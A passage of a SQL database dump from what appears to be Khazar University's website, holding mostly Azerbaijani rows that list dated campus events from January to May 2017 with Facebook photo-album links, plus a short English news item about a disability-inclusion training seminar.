target=\"_blank\">https://www.topuniversities.com/university-rankings/top-50-under-50/2018</a></p>'),(3021,1786,'en','ESFIDIP Project Holds Training Seminar for Staff Members ','On December 26, 2016, a training seminar was held for Khazar University instructors as part of the “Establishment of a Foundation for the Integration of Disabled People...','<p>On December 26, 2016, a training seminar was held for Khazar University instructors as part of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) Tempus project. During the training, Melek Karimova, Assistant Dean of the School of Humanities and Social Sciences, spoke about disabilities and their characteristics, attitudes toward disabilities, and related teaching methods.&nbsp;</p><p>The training was carried out interactively, including a discussion and question/answer session.&nbsp;&nbsp;</p>'),(3235,1906,'az','2017','2017',''),(3236,1907,'az','Yanvar','Yanvar','<p style=\"background:undefined \">31.01.2017 Məktəb-Universitet Əməkdaşlığı&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1464496413560759\" target=\"_blank\">FOTO</a></strong>)<br></p><p>27.01.2017 Əli Polada Fəxri Doktor adı verilməsi&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1460636097280124\" target=\"_blank\">FOTO</a></strong>)<br></p><p>28.01.2017 Personal branding and networking-Douglas Reichenberger&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1460634697280264\" target=\"_blank\">FOTO</a></strong>)<br></p><p>27.01.2017 Zərgərlik sərgisi&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1460628887280845\" target=\"_blank\">FOTO</a></strong>)<br></p><p>27.01.2017 Imtahanlar&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1459723330704734\" target=\"_blank\">FOTO</a></strong>)<br></p><p>24.12.2016 Hamlet Isaxanli Poensial direktorlala seminar&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1457478767595857\" target=\"_blank\">FOTO</a></strong>)<br></p><p>24.01.2017 Mərakeş səfiri ilə Hamlet İsaxanlının görüşü.&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1456307341046333\" target=\"_blank\">FOTO</a></strong>)<br></p><p>24.01.2017 Xəzər-Saray. Buzovna&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1456305774379823\" target=\"_blank\">FOTO</a></strong>)<br></p><p>23.01.2017 Potensial Direktorlar 6, qəbul imtahanı (<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1456293377714396\" target=\"_blank\">FOTO</a></strong>)<br></p><p>23.01.2017 Natella Barkaya və Afaq Kərimovanın yubiley şənliyi&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1456194347724299\" target=\"_blank\">FOTO</a></strong>)<br></p><p>23.01.2017 final imtahanlar&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1454766851200382\" target=\"_blank\">FOTO</a></strong>)<br></p><p>20 yanvar&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1454764967867237\" target=\"_blank\"><strong>FOTO</strong></a>)<br></p><p>19.01.2017 final imtahanları&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1451105268233207\" target=\"_blank\">FOTO</a></strong>)<br></p><p>16.01.2017 final imtahanlar&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1448231378520596\" target=\"_blank\">FOTO</a></strong>)<br></p><p>12.01.2017 Doktorantura imtahanı&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1444425068901227\" target=\"_blank\">FOTO</a></strong>)<br></p><p>12.01.2017 final imtahanlari&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1444412945569106\" target=\"_blank\">FOTO</a></strong>)<br></p><p>11.01.2017 final imtahanları&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1443334079010326\" target=\"_blank\">FOTO</a></strong>)<br></p><p>10.01.2017 final imtahanları&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1443295372347530\" target=\"_blank\">FOTO</a></strong>)<br></p><p>09.01.2017 NATELLA xanım ad günü&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1442501229093611\" target=\"_blank\">FOTO</a></strong>)<br></p><p>09.01.2016 Xəzərdə final imtahanları&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1441864265823974\" target=\"_blank\">FOTO</a></strong>)<br></p><p>06.01.2017 final imtahanları (<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1441663442510723\" target=\"_blank\">FOTO</a></strong>)<br></p><p>09.01.2017 doktorantura imtahani&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1441655655844835\" target=\"_blank\">FOTO</a></strong>)<br></p><p>05.01.2017 Xəzərdə Final İmtahanları&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1438424729501261\" target=\"_blank\">FOTO</a></strong>)<br></p><p>03.01.2017 Media Center-Yeni il şənliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1438308772846190\" target=\"_blank\"><strong>FOTO</strong></a>)<br></p><p>03.01.2017 Mediada Yeni il şənliyi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1438242822852785\" target=\"_blank\"><strong>FOTO</strong></a>)</p>'),(3237,1907,'en','January','January',''),(3238,1906,'en','2017','2017',''),(3239,1908,'az','Fevral','Fevral','<div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><br></div><div>28.02.2017 Mülkü müdafiə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1491438607533206\">FOTO</a>)</div></div><div>27.02.2017 Potensial direktorlar 6 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1490382457638821\">FOTO</a>)</div></div><div>25.02.2017 Xocali medeniyyeti (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1490273537649713\">FOTO</a>)</div></div><div>25.02.2017 Potensial direktorlar 6 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1490269190983481\">FOTO</a>)</div></div><div>26.02.2017 Xəzər Xocalı yürüşündə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1490219494321784\">FOTO</a>)</div></div><div>25.02.2017 Master klass (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1490209754322758\">FOTO</a>)</div></div><div>23.02.2017 Ziya Bunyadov (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1487244037952663\">FOTO</a>)</div></div><div>22.02.2017 Xocali faciəsinə həsr edilmiş tədbir (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1485538211456579\">FOTO</a>)</div></div><div>21.02.2017 Ad Günləri. (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1484654034878330\">FOTO</a>)</div></div><div>20.02.2017 Potensial direktorlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1483861231624277\">FOTO</a>)</div></div><div>20.02.2017 Deloitte telim (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1483833988293668\">FOTO</a>)</div></div><div>18.02.2017 Futbol final görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1483829821627418\">FOTO</a>)</div></div><div>17.02.2017 Konferans. Azərbaycanda Miqrasiya Siyasəti (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1480456878631379\">FOTO</a>)</div></div><div>16.02.2017 Təhsil Nazirliyinin nümayəndələri ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1480463981964002\">FOTO</a>)</div></div><div>16.02.2017 Potensial Direktorlar 6 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1480373491973051\">FOTO</a>)</div></div><div>16.01.2017 Potensial Direktor (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1479440412066359\">FOTO</a>)</div></div><div>16.02.17 Spagethi təltifetmə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1479341835409550\">FOTO</a>)</div></div><div>13.02.2017 Potensial Direktorlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1477238988953168\">FOTO</a>)</div></div><div>13.02.2016 Potensial direktorlar 6 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1476540775689656\">FOTO</a>)</div></div><div>10.02.2017 Təhsil və Media konfransı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1473865519290515\">FOTO</a>)</div></div><div>09.02.2017 Potensial direktorlar 6 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1473727925970941\">FOTO</a>)</div></div><div>09.02.2017 Potensial direktorlar 6&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1472942789382788\">FOTO</a>)</div></div><div>05.02.2017 Media Mərkəzi Novxanıda – Fəridin gözü ilə&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1472022249474842\">FOTO</a>)<br></div><div>05.02.2017 Media Mərkəzi Novxanıda&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1471848562825544\">FOTO</a>)<br></div><div>07.02.2017 Fərda Əsadov Həcc ziyarətgahı haqqında&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1470868142923586\">FOTO</a>)<br></div>01.02.2017 Qar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1465614430115624\" title=\"Qar\">FOTO</a>)'),(3240,1908,'en','February','February',''),(3241,1909,'az','Mart','Mart','<div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div>30.03.2017 Potensial direktorlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1526170287393371\">FOTO</a>)</div></div><div><div>29.03.2017 IT karyerasının inkişafı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1524167307593669\">FOTO</a>)</div></div><div><div>27.03.2017 Potensial direktorlar 6 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1522085837801816\">FOTO</a>)</div></div><div><div>19/25.03.2017 Fieldtrip to outcrops (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1521886691155064\">FOTO</a>)</div>  <div>17.03.2017 Tarixçilər H.Zərdabi adına təbiət tarixi muzeyində&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1521886227821777\">FOTO</a>)</div></div><div>  <div>17.03.2017&nbsp;&nbsp;Erasmus gəzinti. (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1521866257823774\">FOTO</a>)</div></div><div><div></div>  <div>17.03.2017 Qafqaz Arxeologiyasının Tarixi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1516114545065612\">FOTO</a>)</div></div></div><div><div>17.03.2017 Xəzərdə Novruz Şənliyi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1509530345724032\">FOTO</a>)</div></div><div><div>17.03.2017 Həsən Niknafsın Prof Kakha Shengelia, (Rector CU) ilə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1509228659087534\">FOTO</a>)</div></div><div><div>17.03.2017 Erasmus (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1509220505755016\">FOTO</a>)</div></div><div><div>16.03.2017 potensial direktorlar 6 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1509140972429636\">FOTO</a>)</div></div><div><div>16.03.2017&nbsp;Prof. George Gavtadze. rector ATSU ilə Hasan Niknafsın görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1509140485763018\">FOTO</a>)</div></div><div><div>16.03.2017 Erasmus (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1508385062505227\">FOTO</a>)</div></div><div><div>16.03.2017 Erasmus (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1508291249181275\">FOTO</a>)</div></div><div>Vəcahın ad günü, Təbrik edirik (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1506403389370061\">FOTO</a>)</div></div><div>11.03.2017 Novruz bayrami (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1502891939721206\">FOTO</a>)</div></div><div>10.03.2017` Maliyyə savadlılığı` mövzusu üzrə seminar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1501958326481234\">FOTO</a>)</div></div><div>10.03.2017 Hamlet İsaxanlının Azad Cavadov(Ə.S.F.İ) ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1501956536481413\">FOTO</a>)</div></div><div>09.03.2017 Tələbə məclisi hesabat (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1500731463270587\">FOTO</a>)</div></div><div>07.03.2017. 8 MART ŞƏNLİYİ (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1498522186824848\">FOTO</a>)</div></div><div>07.03.2017 Media. Bayram təbrikləri (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1498271166849950\">FOTO</a>)</div></div><div>27.02.2017 Deloitte təlim (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1498223793521354\">FOTO</a>)</div></div><div>07.03.2017 Xeyriyyə yarmarkası (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1498203653523368\">FOTO</a>)</div><div>06.03.2017 Deloitte (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1498222476854819\">FOTO</a>)</div></div><div>06.03.2017 - Ernst and Young şirkəti ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1497280896948977\">FOTO</a>)</div></div><div>06.03.2017 TEDx khazar university - hazırlıq (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1497217276955339\">FOTO</a>)</div></div><div>04.03.2017 Informasiya Texnologiyaları şəhəri (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1495300237147043\">FOTO</a>)</div></div><div>03.03.2017 Potensial Direktorlar məzunluq (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1495275900482810\">FOTO</a>)</div></div><div>03.03.2017 Potensial Direktorlar məzunluq (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1495273603816373\">FOTO</a>)</div></div><div>03.03.2017 Lion universiteti ilə müqavilə imzalanması (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1495257447151322\">FOTO</a>)</div></div><div>04.03.2017 Bilik yarışı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1495249310485469\">FOTO</a>)</div><div><div>01.03.2017 Keyfiyyət menecmenti mövzusunda ustad dərsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1498213266855740\">FOTO</a>)</div></div></div>01.03.2017 Hamlet İsaxanlı doğum günü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1492478457429221\">FOTO</a>)'),(3242,1909,'en','March','March',''),(3243,1910,'az','Aprel','Aprel','<div><div><div><div><div><div><div><div>28.04.2017 ADNA Terror tədbiri (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1560987127245020\">FOTO</a>)</div></div><div><div>28.04.2017 Açıq qapı 242, 64 və 61 nomreli məktəblər (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1560932143917185\">FOTO</a>)</div></div><div><div>26.04.2017 ABŞ Universitetləri ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1559006287443104\">FOTO</a>)</div></div><div><div>26.04.2017 Dərs- Shakespeare (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1558941737449559\">FOTO</a>)</div></div><div>23.04.2017 4-cü&nbsp;Beynelxalq Psixologiya   Konfrans -&nbsp;konsert (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1556897120987354\">FOTO</a>)</div></div><div><div>25.04.2017 ADDIM qısametrajlı filmin təqdimatı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1558117027532030\">FOTO</a>)</div></div><div><div>24.04.2017 Roza xanımın 70 illiyi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1556895150987551\">FOTO</a>)</div></div><div><div>23.04.2017 IV beynelxalq konfrans psixologiya (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1556647517678981\">FOTO</a>)</div></div><div><div>23.04.2017 IV Beynəlxalq Psixologiya Konfransı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1555350067808726\">FOTO</a>)</div></div><div><div>IV Psixologiya konfransı (2-ci hissə) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1554182601258806\">FOTO</a>)</div></div><div><div>4-cu Psixologiya Konfransi 22.04.2017 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1554048397938893\">FOTO</a>)</div></div><div>17.04.2017 ABŞ-ın Azərbaycandaki nümayəndəsi ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1552244921452574\">FOTO</a>)</div></div><div><div>20.04.2017 Xəzərdə \"Midterm\" imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1550954218248311\">FOTO</a>)<span style=\"font-family:inherit;font-size:20px;background-color:#ffffff;color:#1d2129;text-align:center\"></span></div></div><div><div>14.04.2017 Ramiz Quliyev ilə üz-üzə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1550784254931974\">FOTO</a>)</div></div><div><div>19.04.2017 Imtahanlar&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1549689825041417\">FOTO</a>)</div></div><div><div>18.04.2017 Ruminiya səfiri ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1548289791848087\">FOTO</a>)</div></div><div><div>17.04.2017&nbsp;Xəzərdə imtahanlar&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1547375061939560\">FOTO</a>)</div></div><div><div>17.04.2017 Rektor Hasan Niknafsın Dr.Sam Potolicchio ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1547298558613877\">FOTO</a>)</div></div><div><div>Xəzərdə imtahanlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1547153635295036\">FOTO</a>)</div></div><div><div>14.04.2017 Roza xanimin 70-illiyi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1543624372314629\">FOTO</a>)&nbsp;</div></div><div><div>14.04.2017 Xarici dil derslerinde interaktiv telim metodlari (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1543555685654831\">FOTO</a>)&nbsp;</div></div><div><div>14.04.2017 Xəzərdə imtahanlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1543515465658853\">FOTO</a>)</div></div><div><div>13.04.2017 Xəzərdə imtahanlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1543482802328786\">FOTO</a>)</div></div><div>13.04.2017 Midterm (Aralıq) imtahanları&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1542623575748042\">FOTO</a>)</div></div><div><div>12.04.2017 Nizami rayon 328-li məktəblilər Xəzərdə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1542422689101464\">FOTO</a>)</div></div><div><div>11.04.2017 Fəridin ad günü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1540262802650786\">FOTO</a>)</div></div><div><div>11.04.2017 Midterm Exams (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1540229249320808\">FOTO</a>)</div></div><div>11.04.2017 Malaziya Universitetinin nümayəndələri ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1540207982656268\">FOTO</a>)</div></div><div>10.04.2017 Xəzərdə imtahanlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1538897136120686\">FOTO</a>)</div></div><div><div>10.04.2017 Argentinalı yazıçı Silvia Zimmerman Xəzərdə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1538895742787492\">FOTO</a>)</div></div><div><div>07.04.2017 Potensial direktorlar 6 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1534768846533515\">FOTO</a>)</div></div><div><div>06.04.2017 Potensial direktorlar (6) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1533479426662457\">FOTO</a>)</div></div><div><div>05.04.2017 Maliyyə və Mühasibatlıq sahəsində karyera qurmaq (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1532128420130891\">FOTO</a>)</div></div><div><div>05.04.2017 Kolumbiya səfiri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1532011740142559\">FOTO</a>)</div></div><div><div>3.04.2017 WEBNAR MÜHAZİRƏ (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1531132126897187\">FOTO</a>)</div></div><div><div>1-2.04.2017 Kilsə və Sinaqoqa Ekskursiya (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1531108016899598\">FOTO</a>)</div></div><div><div>04.04.2017 \"Strategiya nədir?\" (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1531007403576326\">FOTO</a>)</div></div><div><div>03.04.2017 Potensial Direktorlar Hamlet müəllimlə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1530775860266147\">FOTO</a>)</div></div><div>03.04.2017 Potensial direktorlar 6 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1529868900356843\">FOTO</a>)</div></div><div>03.04.2017 Deloitte -&nbsp;Müsabiqə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1529679167042483\">FOTO</a>)</div>  <div><div class=\"_5xz-\" style=\"display:inline-block;width:350px;font-family:Helvetica, Arial, sans-serif;color:#1d2129;font-size:12px;text-align:center;background-color:#ffffff\"><span class=\"_3xgd\" style=\"font-size:20px;font-family:inherit\"><br></span></div></div>'),(3244,1910,'en','April','April',''),(3245,1911,'az','May','May','<div><div><div><div><div><div><div><div><div><div><div>31.05.2017 Potensial direktorlar 7 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1598233260187073\">FOTO</a>)</div></div><div>26.05.2017 Kitabxana dəyirmi masa (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1597304356946630\">FOTO</a>)</div></div><div>30.05.2017 Potensial Direktorlar 7&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1597291366947929\">FOTO</a>)<br></div><div><div>27.05.2017 Knotty game (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1597146850295714\">FOTO</a>)</div></div><div><div>26.05.2017 Açıq qapı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1592602540750145\">FOTO</a>)</div></div><div><div>26.05.2017 Potensial Direktorlar 7 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1592446010765798\">FOTO</a>)</div></div><div><div>25.05.2017 Qlobal ticarətdə network marketinqin yeri&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1591524820857917\">FOTO</a>)</div></div><div><div>25.05.2017 Xeyriyyə Yarmarkası (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1591495764194156\">FOTO</a>)</div></div><div><div>25.05.2017 Kitab yarmarkası (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1591487334194999\">FOTO</a>)</div></div><div>25.05.2017 Əmək yarmarkası (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1591463497530716\">FOTO</a>)</div></div><div><div>24.05.2017 Yaponiya – gündoğan ölkəyə həsr olunmuş açıq dərs (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1590333670977032\">FOTO</a>)</div></div><div><div>24.05.2017 Fransa səfiri ilə Hamlet İsaxanlının görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1590232534320479\">FOTO</a>)</div></div><div><div>Fransa səfiri Xəzərdə (seminar)&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1590058911004508\">FOTO</a>)</div></div><div><div>23.05.2017 Potensial direktorlar 7 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1589199471090452\">FOTO</a>)</div></div><div>21.05.2017 Tehsil falutəsi tələbələrinin Qobustan səfəri (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1588249277852138\">FOTO</a>)</div></div><div>22.05.2017 Soft Skills Training (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1588100044533728\">FOTO</a>)</div></div><div><div>Lidya Xanım Ad gününüz mübarək. (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1584914181518981\">FOTO</a>)</div></div><div><div>19.05.2017 Magistr Müdafiə -&nbsp;&nbsp;Humanitar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1584043451606054\">FOTO</a>)</div></div><div><div>18.05.2017 Çingiz Abdullayev Xəzərdə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1583941661616233\">FOTO</a>)</div></div><div><div>18.05.2017 L.Həmidovanın ABŞ\'da PhD dərəcəsi almaq haqqında (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1583871188289947\">FOTO</a>)</div></div><div><div>16.05.2017 Tempus - Agenda (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1581455735198159\">FOTO</a>)</div></div><div><div>17.05.2017 Dialektologiya Fevtivalı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1582633145080418\">FOTO</a>)</div></div><div><div>15.05.2017 Alumni Assossasiyasının iclası (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1581315361878863\">FOTO</a>)</div></div><div><div>15.05.2017 Tempus - Agenda (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1580369128640153\">FOTO</a>)</div></div><div>15.05.2017 İran musiqiçilərinin konserti (<a 